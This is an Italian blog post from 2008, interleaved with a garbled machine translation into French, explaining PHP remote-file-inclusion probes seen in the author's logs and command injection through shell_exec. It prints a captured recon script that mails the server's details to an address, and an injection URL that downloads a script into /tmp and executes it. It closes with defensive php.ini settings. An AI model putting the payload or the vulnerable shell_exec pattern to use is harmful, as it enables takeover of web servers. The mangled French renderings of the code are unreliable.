PhP exploit, occhio a quell’exec! PhP exploiter, un quell'exec œil!
Posted on Gennaio 14, 2008 Posté le 14 Janvier 2008
Filed Under php , plugs , programmazione | Visited 200 Times | Classé sous PHP, les bouchons, la programmation | Visité 200 fois |
E' da un po che noto nei log degli accessi al mio blog delle richieste molto simili, ecco un esempio: E 'pour certains bien connus dans les journaux que l'accès à mon blog demandes très similaire, voici un exemple:
</p><p>/test.php?page=http://rootscan.110mb.com/rootlab.jpg?: 1 Time(s)<br />/pagina.php?doc=http://www.usipime.com/adpics/response???: 2 Time(s)</p><p> </ P> <p / test.php? Page = http://rootscan.110mb.com/rootlab.jpg?: 1 heure (s) <br /> / pagina.php? Doc = http://www . usipime.com / adpics / réponse?: 2 heure (s) </ p> <p Incuriosito visito gli indirizzi ed ecco cosa spuntano fuori diversi tipi di script in bash o php, qualcosa tipo: Intrigué visiter les adresses et c'est ce qui pousse les différents types de scripts bash ou en PHP, quelque chose comme:
</p><div align="left"><?echo "ALBANIA<br>";$alb = @php_uname();<br />$alb2 = system(uptime);<br />$alb3 = system(id);<br />$alb4 = @getcwd();<br />$alb5 = getenv("SERVER_SOFTWARE");<br />$alb6 = phpversion();<br />$alb7 = $_SERVER['SERVER_NAME'];<br />$alb8 = gethostbyname($SERVER_ADDR);<br />$alb9 = get_current_user();<br />$os = @PHP_OS;<br />echo "os: $os<br>";<br />echo "uname -a: $alb<br>";<br />echo "uptime: $alb2<br>";<br />echo "id: $alb3<br>";<br />echo "pwd: $alb4<br>";<br />echo "user: $alb9<br>";<br />echo "phpv: $alb6<br>";<br />echo "SoftWare: $alb5<br>";<br />echo "ServerName: $alb7<br>";<br />echo "ServerAddr: $alb8<br>";<br />echo "PADDY<br>";<br />$to = "XXXXXXX@XXXXX.XXX";$msg = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];mail($to,"Site Vuln",$msg);exit;?></div><p> </ P> <div align="left"> <? Echo "ALBANIE <br>"; $ alb = @ php_uname (); <br /> $ = ALB2 système (uptime); <br / > = $ ALB3 système (id); <br /> $ alb4 @ = getcwd (); <br /> $ alb5 = getenv ( "SERVER_SOFTWARE"); <br /> $ = ALB6 phpversion (); <br / > Alb7 $ = $ _SERVER [ 'SERVER_NAME']; <br /> $ alb8 = gethostbyname ($ SERVER_ADDR); <br /> get_current_user $ alb9 = (); <br /> $ OS = @ PHP_OS ; <br /> Echo "OS: OS $ <br>"; <br /> echo "uname-a: $ alb <br>"; <br /> echo "le temps de fonctionnement: $ ALB2 <br> ; <br /> Echo "id: $ ALB3 <br>"; <br /> echo "pwd: $ alb4 <br>"; <br /> echo "utilisateur: $ alb9 < br> "; <br /> echo" phpv: $ ALB6 <br> "; <br /> echo" Software: $ alb5 <br> "; <br /> echo" nom_serveur: $ alb7 < , Br> "; <br /> echo" ServerAddr: $ alb8 <br> "; <br /> echo" Paddy <br> "; <br /> $ to =" @ XXXXX XXXXXXX. XXX "; $ msg =" http:// ". $ _SERVER [ 'SERVER_NAME'].$_ SERVER [' REQUEST_URI ']; mail ($ to," Site vulnérables " ;, $ Msg); sortie ;?></ div> <p Ma che bug sfrutterebbe ? Mais cette exploitation de bug? Cioe come viene eseguito sto simpatico script ? C'est-à-dire fonctionne as'm sympathique script? Php e' cosi buggoso ? Vediamo un po… Php et "de manière buggoso? Nous voyons certains ...
Immaginiamo di avere tra le rige dei nostri script PHP qualcosa di questo tipo: Imaginez le rige de notre script PHP quelque chose comme ceci:
</p><? </ P> <? php<br />...<br />$par=$_GET['var1'];<br />...<br />shell_exec("$cmd $par");<br />...?><p> php ... <br /> <br /> $ par = $ _GET [ 'var1']; <br /> <br /> ... shell_exec ( "$ $ par cmd"); <br /> ...?>< p>
Normalmente utilizzeremmo lo script usando il comodo url: http://sito.bla.bla/script.php?var1=parametro Normalement, utiliser le script à l'aide de la pratique url: http://sito.bla.bla/script.php?var1=parametro
Ma, cosa succede se eseguiamo qualcosa di questo tipo? Mais ce qui se passe si je fais quelque chose comme ça?
</p><p>"http://sito.bla.bla/script.php?var1=parametro;cd /tmp;</p><p>wget http://server.bla.bla/script_cattivello.sh;</p><p>chmod 755 script_cattivello.sh;./script_cattivello.sh"</p><p>(l'url va scritto tutto su 1 riga) </p><p> </ P> <p "http://sito.bla.bla/script.php?var1=parametro; cd% 20/tmp; </ p> <p wget% 20http: / / server.bla. bla / script_cattivello.sh; </ p> <p chmod% 20755% 20script_cattivello.sh;. / script_cattivello.sh "</ p> <p (l'url doit être entièrement écrit sur la ligne 1) < / P> <p La risposta viene spontanea, var1 prende il valore del parametro assegnato, ma subito dopo viene eseguito un cambio directory in tmp, viene scaricato uno script ad hoc ( script_cattivello.sh ), viene impostato come eseguibile ed infine eseguito. La réponse est spontanée, var1 prend la valeur du paramètre affecté, mais il est exécuté immédiatement après un changement de répertoire tmp, un script est téléchargé ad hoc (script_cattivello.sh), est fixé comme exécutable et finalement exécutés.
Ovviamente il file sara' di proprieta' dell'utente www o www-data, insomma dell'utente che esegue apache ( o altro eventuale webserver), ma, almeno in questa fase, tali permessi sono piu che abbastanza per ficcare il naso dove non si deve! De toute évidence, le fichier sera «propriété» de la www ou www-data, à court de fonctionnement d'Apache (ou tout autre serveur Web), mais, au moins à ce stade, ces permis sont plus que suffisant pour mettre le nez où il ne fait pas vous devez vous!
Cosa si puo fare per evitare che questo accada ? Que puis-je faire pour empêcher cela?
Evitare l'utilizzo di certe funzioni, tipo shell_exec; Évitez l'usage de certaines fonctions, telles shell_exec;
Impostare php.ini alcuni limiti, anche se queste limitazioni bloccano alcune funzioni della maggior parte dei cms come joomla , wordpress, horde etc… Le fichier php.ini se fixer des limites, même si ces restrictions sont certains de blocage de la plupart des CMS Joomla, wordpress, etc horde ...
</p><p>disable_functions = show_source, exec, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl</p><p> </ P> <p disable_functions show_source, exec, shell_exec, système, popen, proc_open, proc_nice, ini_restore, passthru, dl </ p> <p Controllare sempre la lungezza dei parametri in ingresso nei nostri script, mai lasciare un get($var) senza un limite di dimensione. Toujours vérifier la longueur des paramètres d'entrée dans notre script, ne jamais laisser un get ($ var) sans limite de taille.
Questa e' una regola di buona scrittura per qualsiasi applicazione e valida per qualsiasi linguaggio. E' il miglior modo per evitare problemi, bug, errori. Cette "règle d'une bonne écriture pour toutes les applications et valable pour toutes les langues. C 'la meilleure façon d'éviter les problèmes, bugs, des erreurs.
Related posts: Connexes:
- rename&convert ape to mp3 Mi sono trovato davanti dei fastidiosissimi file audio in formato... renommer et singe pour convertir mp3 j'ai trouvé le fichier audio au format fastidiosissimi ...
Related posts brought to you by Yet Another Related Posts Plugin . Postes mis à votre disposition par Yet Another postes Plugin.
Comments Commentaires
Leave a Reply Laisser un commentaire











